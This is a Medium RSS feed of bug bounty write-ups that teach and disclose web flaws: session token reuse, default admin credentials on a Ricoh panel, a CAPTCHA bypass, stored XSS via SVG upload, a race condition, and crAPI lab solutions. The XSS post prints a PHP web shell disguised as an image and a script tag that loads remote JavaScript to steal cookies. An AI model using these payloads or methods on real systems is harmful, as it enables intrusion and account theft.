<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by youssef awad on Medium]]></title>
        <description><![CDATA[Stories by youssef awad on Medium]]></description>
        <link>https://medium.com/@youssefawad1357?source=rss-5bd5e75a7e65------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uo0O-1jyHIa8dvolPC3I6Q.jpeg</url>
            <title>Stories by youssef awad on Medium</title>
            <link>https://medium.com/@youssefawad1357?source=rss-5bd5e75a7e65------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:28:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@youssefawad1357/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Authentication Bypass via Session Token Reuse Leading to Account Takeover]]></title>
            <link>https://medium.com/@youssefawad1357/authentication-bypass-via-session-token-reuse-leading-to-account-takeover-9f24022c32ed?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f24022c32ed</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Wed, 01 Jul 2026 11:44:40 GMT</pubDate>
            <atom:updated>2026-07-01T11:44:40.782Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*Axe1DlAQi559kqLnxKDDXA.png" /></figure><p>Hello Everyone, my name is Youssef Awad, a part-time bug bounty<br>hunter.</p><p>Recently I started hunting on a self-hosted program in which I got a medium severity bug in it.</p><h3>Summary</h3><p>I identified a session management vulnerability that allows complete account takeover with zero user interaction.</p><h3>Story</h3><p>While navigating the app, one of the first things I give a look is the session management, which I can view on the profile page after creating an account, let’s call it Account ‘A’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YrtQY-LL7M0aqgYA2TFe7g.png" /><figcaption>Profile page</figcaption></figure><p>So I started to view the API Calls that happen in the background when requesting the<strong> /Profile</strong> Endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*raxfWt76ad-Pq4SQYe_paA.png" /><figcaption>Juicy API Endpoint.</figcaption></figure><blockquote>Then I found this interesting API request through this endpoint ( /api/v1/User/me ) in which it returns the some sensitive info</blockquote><pre>GET /api/v1/User/me HTTP/2<br>Host: usermanagement.unknown.com<br>Cookie: .AspNetCore.Cookies=Value</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*_NhEqbylue6c4LsxjkOiHg.png" /><figcaption>Its Response</figcaption></figure><p>So I sent that request to the <strong>repeater </strong>to break the limitations of this request and I created another account <strong>Account “B”</strong> to get the session token of it and test the session management.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*41ntORs65jP2Lp-YzrJZbA.png" /><figcaption>Account B</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6w9-vDoHkRsKCdihOfjmIQ.png" /><figcaption>2 Different Sessions are here</figcaption></figure><p>Then I started to replace the <strong>Account B’s cookie</strong> with <strong>Account A’s</strong> cookie Reverse Test (B→A) (<strong>.AspNetCore.Cookies</strong>)<strong>.</strong></p><blockquote>But Unfortunately It gives me 401 Unauthorized</blockquote><p>But after I changed the HTTP method from <strong>POST to GET</strong>, I received a successful response with a 200 status code disclosing all the victim’s data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*5hsIZsqFoyTf-ZWQpI35xQ.png" /></figure><h3>Impact</h3><h4>1. Full Account Takeover</h4><p>An attacker can impersonate any user without needing their password or MFA, just by reusing a valid session cookie, with zero interaction from the victim.</p><h4>2. Exposure of Sensitive PII</h4><p>The /api/v1/User/me endpoint exposes full names, email addresses, unique user GUIDs, and entitlement country/region information.</p><p>Unfortunately, I was late.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*xtQtdHsnsByquGNYcGneHA.jpeg" /></figure><p>While it’s frustrating to come in second, there’s actually a silver lining here, the fact that the report was marked as a duplicate.</p><h3>Connect with me on for more write ups:</h3><p><a href="https://www.linkedin.com/in/youssef-awad-60aba4248"><strong>LinkedIn</strong></a><strong>, </strong><a href="https://x.com/pharaoh443"><strong>X</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f24022c32ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Found the Admin Panel. Then I Owned Everything.]]></title>
            <link>https://medium.com/@youssefawad1357/i-found-the-admin-panel-then-i-owned-everything-95f6d367060a?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/95f6d367060a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 00:43:01 GMT</pubDate>
            <atom:updated>2025-10-10T00:43:01.382Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*MsTAxQPb92ww0dNWTIIMmA.jpeg" /></figure><p>Hello Everyone, my name is youssef, a part-time bug bounty hunter.</p><p>Recently, Recently, I set my sights on <strong>Ricoh USA, Inc., </strong>one of the world’s largest manufacturers of printers, cameras, and scanners, as a target, which was a wide scope and very juicy.</p><h3><strong>Summary</strong></h3><p>So in this write-up, I will talk about a critical misconfiguration that led me to access all the products and users&#39; data with the capability of doing all the CRUD (Create, Read, Update, Delete) operations on them.</p><h3><strong>Story</strong></h3><p>After I have collected the subdomains through this command</p><pre>subfinder -all -recursive -d ricoh.com &gt; sundomains.txt</pre><p>And after some filtration, I got <strong><em>11k subdomains, then I started to get the alive subs from them using httpx until I got like 2k subdomains.</em></strong></p><p>But I didn’t stop the enumeration here because <a href="https://medium.com/u/cf3cac09de8e">Ricoh USA, Inc.</a> has a large scope, and at the same time, here’s where it got frustrating: <strong>most responses were 403 Forbidden or 404 Not Found</strong>.</p><blockquote>So I started to get more subdomains from <a href="https://securitytrails.com/">securitytrails.com </a>using this curl command</blockquote><pre>curl --request GET \<br>  --url https://api.securitytrails.com/v1/history/ricoh.com/dns/a \<br>  --header &#39;APIKEY: api.key.here&#39; \<br>  --header &#39;Accept: application/json&#39;</pre><blockquote><strong>until I got more different subdomains but still they give me 403 and 401</strong>👎</blockquote><blockquote><strong>Game Changer:</strong><br>So I decided to probe all the possible ports on all these targets to get the open ports, hoping it would give me different responses using <strong>rustscan</strong></blockquote><pre> rustscan -a domains.txt -r 1-65535</pre><p>After that, I got an interesting IP (<strong>internal admin interface</strong>) working on<strong> port 9000</strong> with a simple, old, and likely forgotten.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ut4EMSDOwSZ0NyVMwGZkRA.png" /><figcaption>License Management panel for Admins</figcaption></figure><blockquote>After that, my hands rode me as usual to try <strong>admin: admin</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_AW0-PWRipY253YGJWjXqg.png" /><figcaption>Succeed!!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KtXs-yCnleHf2uOFs0EyZg.png" /><figcaption>this was my first time <strong>default credentials actually worked </strong>with me on a production system.</figcaption></figure><blockquote><strong>I had full administrative access</strong> <strong>to Complete User Database and Product Management System and Full CRUD Capabilities.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Qxl2nUHx6V9-wpOkrqWRg.png" /><figcaption>I could make all the CRUD operations on it</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHZBdVOkVYje0GqGHeNTLw.png" /><figcaption>Product list</figcaption></figure><h3><strong>Impact:</strong></h3><p>1- Complete exposure of user and customer data.</p><p>2- Attackers gain full administrative privileges, enabling them to manipulate or delete users and perform unauthorized actions.</p><p>3- Potential for complete platform takeover.</p><p>Keep Hunting 🫵</p><h4>Connect with me on:</h4><p><a href="https://www.linkedin.com/in/youssef-awad-60aba4248"><strong>LinkedIn</strong></a><strong>, </strong><a href="https://x.com/pharaoh443"><strong>X</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95f6d367060a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Bypassed CAPTCHA and No Rate Limiting Leading to Account Takeover]]></title>
            <link>https://medium.com/@youssefawad1357/bypassing-captcha-with-no-rate-limiting-potentially-leading-to-ato-0a7714c9042d?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a7714c9042d</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Sat, 06 Sep 2025 10:15:53 GMT</pubDate>
            <atom:updated>2025-09-06T13:15:00.442Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*-JQURUtg5FRkFV0Cv1ZK_Q.png" /></figure><p>Hello everyone, my name is Youssef Awad, and in this write-up, I will discuss about a bug I discovered while hunting on a Bug Bounty program on Bugcrowd, which I will refer to as <strong>target.com</strong>.</p><p>After enumerating the subdomains of the target, I usually like to start with the main domain because most hunters might ignore it, thinking it is more secure than the rest of the other subs, but sometimes I think about what if I try harder in this place.</p><p>First thing I found is a login page, in this step, I am trying to understand what security controls the developer wants to implement in this place?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*ZGaBjt6osEbZl6lFbK4XVg.png" /><figcaption>ReCaptcha 🪩</figcaption></figure><h3>- What is ReCaptcha?</h3><p>ReCAPTCHA is a <strong>free service by Google</strong> designed to protect websites from spam and abusive activities by distinguishing human users from automated bots.</p><p>I wondered what would happen if I tried to bypass it, which would break the developer security control on the authentication process?!</p><h3><strong>Steps to Reproduce</strong></h3><ul><li>So I started to enter invalid credentials with solving the recaptcha, then intercepted the request for this submission to see the request in <strong>Burp, </strong>and the response was <strong>“Invalid username or password”</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSy9mVneYtUwgxhHCMP9IA.png" /><figcaption>Request with the invalid credentials</figcaption></figure><ul><li>So I tried to remove the recaptcha token, and then see how the server will respond with something like that.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C3AYnLnodcFUzm2Rqq1r3w.png" /><figcaption>z request wihtout captcha token</figcaption></figure><ul><li>Here, I have noted that the app checks the recaptcha token well by validating its value by answer <strong>“Invalid recaptcha token”.</strong></li></ul><blockquote>But I don’t give up here, and I tried to dig deep into this issue until I observed the <strong>“ isSingleUser ” </strong>parameter with the value of <strong>false.</strong></blockquote><h3>How I Bypassed It?</h3><p>So what if I change it to <strong>true while removing the recaptcha token</strong>🫰🏾.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KjRZdZeNoCaK1BAYkyDT-w.png" /><figcaption>Response is very juicy</figcaption></figure><blockquote>The backend respond with the <strong>“Invalid username and password” </strong>which is the same response of the first request of submitting the recaptcha token.</blockquote><p>So this means I bypassed the captcha, but I quickly went to ensure if the developer implemented a rate-limiting algorithm through the app logic by sending multiple requests using <strong>Burp Intruder</strong> with the username<strong> “test”</strong> and different passwords to see if the server would respond with something like a <strong>status code 429 Too Many Requests, </strong>but actually <strong>no </strong>😉</p><blockquote>All requests were <strong><em>200 OK</em></strong>, which means that you can brute force on the password without any limits or security controls (No Rate Limiting, No Captcha, No WAF implementation on this page), which leads to account takeover.</blockquote><h3><strong>Impact</strong></h3><ul><li>An attacker could brute-force user credentials, leading to ATO for regular or admin accounts</li><li>An attacker can gain access to user data and functionality of the application by taking advantage of the broken authentication and session management mechanisms.</li></ul><h3><strong>Bugcrowd Response</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*ilwXE1rxZKd-fEusjrnUXg.png" /><figcaption>Nice</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*2xWVMdMn7Hv7t-qQXlpxzQ.png" /><figcaption>But Why?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*uejL7UbPWDufASFLmw1jvg.png" /><figcaption>🙃</figcaption></figure><p>The program decided to classify it as info, because the customer suspended his engagement now lol😕</p><p>Follow for more Write-ups</p><p><a href="https://www.linkedin.com/in/youssef-awad-60aba4248">Linkedin</a>, <a href="https://x.com/pharaoh443">Twitter</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a7714c9042d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored XSS via Unsanitized SVG File Upload]]></title>
            <link>https://medium.com/@youssefawad1357/stored-xss-via-unsanitized-svg-file-upload-d7e4619cc937?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7e4619cc937</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 20:13:24 GMT</pubDate>
            <atom:updated>2025-08-21T05:18:29.977Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mM5x0XY-E61kS8CG8r-w1Q.png" /></figure><p>Hello Bug Hunters Community,</p><p>New Write-up, New Gains ✪♕</p><p>In the last write-up, I mentioned that I had shifted my focus to hunt for external programs for this period, and I have started on a program, let’s call it <strong>“pharaoh.com”</strong>.</p><p>So let’s deep dive into the technical details</p><h3><strong>Brief on the Bug</strong></h3><p>The application allows authenticated users to upload SVG files without sanitizing their content, enabling an attacker to embed malicious JavaScript🙃.</p><h4><strong>My Methodology in testing the application</strong></h4><p>1- Mapping the application into smaller functionalities like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0h3MhOs_HCObj7ed6NCBhw.png" /><figcaption>Divide every page i visit into smaller components</figcaption></figure><p>2- Then try to visit any link or click on any button on every page to understand how the application responds to every request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKwB6upZNV_07ERDgFtrWQ.png" /><figcaption>Divide and conquer🔑</figcaption></figure><p>3- Then apply all my knowledge with all the bugs I know on these sources.</p><h3>Reproducing the Bug</h3><ul><li>While visiting the <strong>“ Products ”</strong> tab, I have found that I can upload a file to the store. I will make the logo of the store.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MbxxqsO4ztnTpNSSDA042w.png" /><figcaption>Clicking on this button will make redirect us to the following page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x5aUPS-7anOt9BVj27FQeQ.png" /><figcaption>File Upload Functionality 🫦🫦</figcaption></figure><ul><li>So then I have tried to upload my initial file to test the file upload functionality</li></ul><p><strong>→ File Name:</strong> shell.jpg</p><p><strong>→ File Content:</strong></p><pre>GIF89<br><br>&lt;?php system($_GET[&#39;cmd&#39;]) ; phpinfo();?&gt;</pre><p><strong>Don’t worry, a Simple Explanation is here:</strong></p><p><strong>→ GIF89:</strong></p><p>The file header is in ASCII format, but a fake one, because I want to deceive the server into thinking that this file is a normal image file, not a PHP one.</p><p><strong>→``` &lt;?php system($_GET[‘cmd’]); phpinfo(); ?&gt; ```:</strong></p><p>Simple PHP code trying to run a system command through a get parameter called <strong>“ cmd ”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*XEBDZj0_boSkYLpALMKoJw.gif" /><figcaption>🤏🏻</figcaption></figure><p><strong>Request In Burp:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1nUC7kQEBsFMNnAVgTGMQ.png" /><figcaption>Burping</figcaption></figure><p>The File has been uploaded successfully, but unfortunately, I can’t run any OS commands because of many Reasons:</p><p>1- <strong>The server might treat the File as Static, Not Executable.</strong></p><p>2- <strong>No Server-Side Execution.</strong></p><p>3- <strong>The Directory that the files are uploaded to is not executable.</strong></p><p>So, I switched my thinking to exploiting a stored XSS by uploading an SVG file, which will have a more critical impact.</p><p>So I have made this request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4cEUVzazyXA8W8cX3-0RQ.png" /><figcaption>Request in Burp using some techniques</figcaption></figure><p><strong>I said Don’t worry, a brief explanation:</strong></p><ul><li>Changing the <strong>file extension</strong> from <strong>(JPG → SVG)</strong></li><li>Changing the <strong>Content-type</strong> from <strong>(image/png → text/javascript)</strong></li><li>Injecting an <strong>XSS payload</strong> via an <strong>SVG file</strong>.</li></ul><p>→ The server responds with <strong>201 Created</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*OKgaMwQ85IZQKuFFOOcXSg.gif" /><figcaption>👅</figcaption></figure><p>So Now I able to upload an SVG file with storing an XSS payload in it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8SUcOXnB-4YbTdMjldKQtA.png" /><figcaption>Stored XSS</figcaption></figure><p><strong>But I want to increase the severity that leads to Account Takeover(ATO</strong>)🤫</p><p>So I visited<strong> </strong><a href="https://bxsshunter.com/bxss-hunter"><strong>https://bxsshunter.com/bxss-hunter</strong></a><strong> </strong>and get this payload</p><pre>&lt;script&gt;$.getScript(&quot;//egb.bxss.in&quot;)&lt;/script&gt;</pre><ul><li>This payload loads and executes a remote JavaScript hosted on the domain egb.bxss.in (a subdomain of bxss.in).</li><li>so now I can bypass inline script filters or sanitizations the app might have.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWK6WNFQMxclu1EtsbRGKQ.png" /><figcaption>Last one🤛</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1O603eBo299eALU5Qq--tQ.png" /><figcaption>I can get user’s cookies</figcaption></figure><ul><li><strong>Token/cookie theft is a major step toward account takeover.</strong></li></ul><h3><strong>Impact:</strong></h3><p>- Attackers can execute arbitrary JavaScript in users’ browsers, leading to session theft, impersonation, phishing, or UI manipulation.</p><h3><strong>Mitigations:</strong></h3><ul><li>Developers must sanitize all uploaded SVG files to remove scripts and event attributes.</li><li>Restrict uploads to safe image types (PNG, JPEG) where possible.</li><li>Serve uploaded files from segregated domains with strict Content Security Policies.</li><li>Apply access controls or token-based restrictions on CDN URLs for sensitive uploads.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*8vweffwSbg5GSYqzchjPMA.jpeg" /><figcaption>🦴</figcaption></figure><p>Follow the upcoming write-ups, which contain great and useful information for you.</p><h4><strong>Social media accounts:</strong></h4><p><a href="https://www.linkedin.com/in/youssef-awad-60aba4248"><strong>LinkedIn</strong></a><strong>, </strong><a href="https://x.com/pharaoh443"><strong>X</strong></a></p><p>#bugbounty #Cyber_security #bughunting #bugbounty #bugbountytips #redteam #redteaming #ethicalhacking #rednexus #redteam #redteaming</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7e4619cc937" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Race Condition Leads to Bypass Subscription Plan]]></title>
            <link>https://medium.com/@youssefawad1357/a-race-condition-leads-to-bypass-subscription-plan-929abae2f355?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/929abae2f355</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Thu, 14 Aug 2025 14:53:59 GMT</pubDate>
            <atom:updated>2025-08-14T17:30:54.093Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bypassing Subscription Plans using Race Condition.. Got me $$&amp;</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*BQlivFTzSBk8PkYT_9FkOg.png" /></figure><h3><strong>بسم الله الرحمن الرحيم</strong></h3><p>Hello bug hunters community, New Write-up, New Gains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*FiSMLx2A25vrs3S8qrzNKw.gif" /></figure><p>In the previous period, I was targeting external programs for hunting because they contain more juicy bugs like that one.</p><p>Okay, let’s start with the technical details.</p><p>I was hunting on a program let’s called it“<strong>pharaoh.com</strong>”, its main idea is like Shopify (Allows users to set up their online store with powerful management, marketing, and sales tools in a very user-accessible package).</p><p>Among the features of the app are the store settings, and what we have targeted is the <strong>“Staff Accounts” </strong>in which enables you to add accounts of the staff that are working with you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQICeGBpsvyYk7__aMiYdg.png" /><figcaption>Add Staff button makes some intersting issues</figcaption></figure><p>So I have tried to add an account, and it went successfully without any problems:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcAj2-SjpZyp0BO-mssAgQ.png" /><figcaption>First try</figcaption></figure><p>But when I tried to add another user, it gave me that :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_LlCo9O_0b3pWTD9ELstzw.png" /><figcaption>It requires me to upgrade to the subscription plan</figcaption></figure><p>And this is the right and expected issue because I have checked the subscription plan after this response and observed that the free plan is allowed to create just one staff account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-XML-AXlR0MdxPFmKx840A.png" /><figcaption>Subscription Plan</figcaption></figure><p>But there is a rule in the bug-hunting world, which is “Breaking the NOs”</p><p>or trying to bypass anything tells you NO, or you are not authorized to make this thing.</p><p>→ like my friend has confirmed <a href="https://medium.com/u/8f74f35a572e">CaptinSHArky(Mahdi🇹🇳)</a> 😉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*RnzqBu0umhXojvHKYumhIA.gif" /><figcaption>Starting…</figcaption></figure><p>Ok, what got to my mind in that moment is why not to send more than like 20 requests at the same time to the same function of creating staff accounts simultaneously, and see how the server can respond to this behaviour, or how the app can handle this action.</p><p>“This is the idea of the <strong>Race Condition</strong>.”</p><ul><li>So I removed the created staff account and started to create another one, but this time I intercepted the request and sent it to the repeater</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*aJTxesv45yNugvvry7BBPg.png" /><figcaption>request view in the repeter, so sexy 🫦</figcaption></figure><ul><li>Then I duplicated this request more than 20 times using CTRL+R with changing the email of every request.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfFOAfT-s-FIv9b7H9l18w.png" /><figcaption>Race Condition Cooked ✌️</figcaption></figure><ul><li>From all the requests, 3 requests got me 202 accepted, resulting in:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7ZkuBJdjkNkIRNwQvjFYg.png" /><figcaption>adding more than 1 account bypassing the subscription plan, we created 3😉</figcaption></figure><h4><strong>Notice that the Subscription Plan says:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YlVza1Aj05_mNIu0_pi9g.png" /><figcaption>Subscrition Plan has been bypassed</figcaption></figure><ul><li>We can also invite more accounts if we increase the number of requests, bypassing the $1999.00 Plan 😧.</li></ul><h3>Impact:</h3><p>1- <strong>Revenue Loss:</strong> Users access paid features for free, causing lost income.</p><p>2- <strong>Trust Damage:</strong> If the users who paid for the subscription and see this bug, they will withdraw their subscription.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*46wOsuMkzZcLtRe-ffI2tg.gif" /><figcaption>masaa’k lazeez</figcaption></figure><p>Keep hacking</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*hb2RAnUOVry0EUdvL3lrEA.jpeg" /><figcaption>time for the money</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6ffnQfTBDW_gwzizWXEeA.png" /><figcaption>🤑🤑</figcaption></figure><p>Follow the upcoming write-ups with great and useful information for you.</p><p>Social media accounts:</p><p><a href="https://www.linkedin.com/in/youssef-awad-60aba4248"><strong>LinkedIn</strong></a><strong>, </strong><a href="https://x.com/pharaoh443"><strong>X</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*OpfsPSUaIs76fhJxDUb7pg.jpeg" /></figure><p>#bugbounty #Cyber_security #bughunting #bugbounty #bugbountytips #redteam #redteaming #ethicalhacking #rednexus #redteam #redteaming</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929abae2f355" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[crAPI Challenges Comprehensive Solution]]></title>
            <link>https://medium.com/@youssefawad1357/crapi-challenges-comprehensive-solution-bceeb3f570a9?source=rss-5bd5e75a7e65------2</link>
            <guid isPermaLink="false">https://medium.com/p/bceeb3f570a9</guid>
            <category><![CDATA[api]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[youssef awad]]></dc:creator>
            <pubDate>Sun, 09 Mar 2025 03:52:59 GMT</pubDate>
            <atom:updated>2025-04-02T00:14:29.157Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*UC59LRidMl1_81DTIgpJ4Q.png" /></figure><h3><strong>→ Challenge 1 : (Broken Object Level Authorization)</strong></h3><ul><li>when you visit the dashboard and then access this button</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZDqTbAMsnAxyUnIUYF-NyQ.png" /><figcaption>Refresh Location</figcaption></figure><ul><li>this request is made :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d0G1ZjJSLb3ZNAY7snTlqw.png" /><figcaption>note : (carID , Location )</figcaption></figure><ul><li>While visiting the App you will make like this</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*NAe7YtrYQLrxqApUJMqOGQ.png" /><figcaption>request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*IG8W3modZTsjf4dztKpj8w.png" /><figcaption>response</figcaption></figure><ul><li>take the carID and replace it with one of the first requests we made</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnOSZXuPQPAzy6SLPKNP7Q.png" /><figcaption>Boom</figcaption></figure><h3>→ Challenge2 : (Access mechanic reports of other users)</h3><ul><li>from the challenge name, we need to make a report for the machine car</li><li>when you press this button</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fhqhxv0wWpao7oZ_K0SEBA.png" /><figcaption>button will make the request we want</figcaption></figure><ul><li>it makes this request with an interesting response :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dWvprBH_S0OmnGPYFrYXug.png" /><figcaption>id :)</figcaption></figure><ul><li>we will make a request with the URL we got from the response and try to change the ID number to another one to retrieve the info of other users</li></ul><p><a href="http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id=26">“http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id=26</a>&quot; ,<strong> “ </strong><a href="http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id=26"><strong>report_id=26</strong></a><strong> ==&gt; </strong><a href="http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id=26"><strong>report_id=2</strong></a><strong>5”</strong></p><ul><li>when I made it , it gave me that response :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4n0iwOsjvK1CwTsVDoyUw.png" /><figcaption>response we got</figcaption></figure><p>- so i tried to add the JWT token I have got from the first request and successfully we got the info of another user called ‘<strong>James</strong>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_rzvRVxDhKC-040oxHOSzA.png" /><figcaption>james ?</figcaption></figure><h3><strong>→ Challenge3 : (Broken User Authentication)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hccs7G4EMBK7m_pYz1P7mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ro2UHmpVPWbACeSteg8XKA.png" /></figure><ul><li>as you can see it gives us another response, so we can now brute force the OTP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5EqdcZJzozTKW_0MqcB-Pg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*QqNLC54yfVLJX5vLcsrOAw.png" 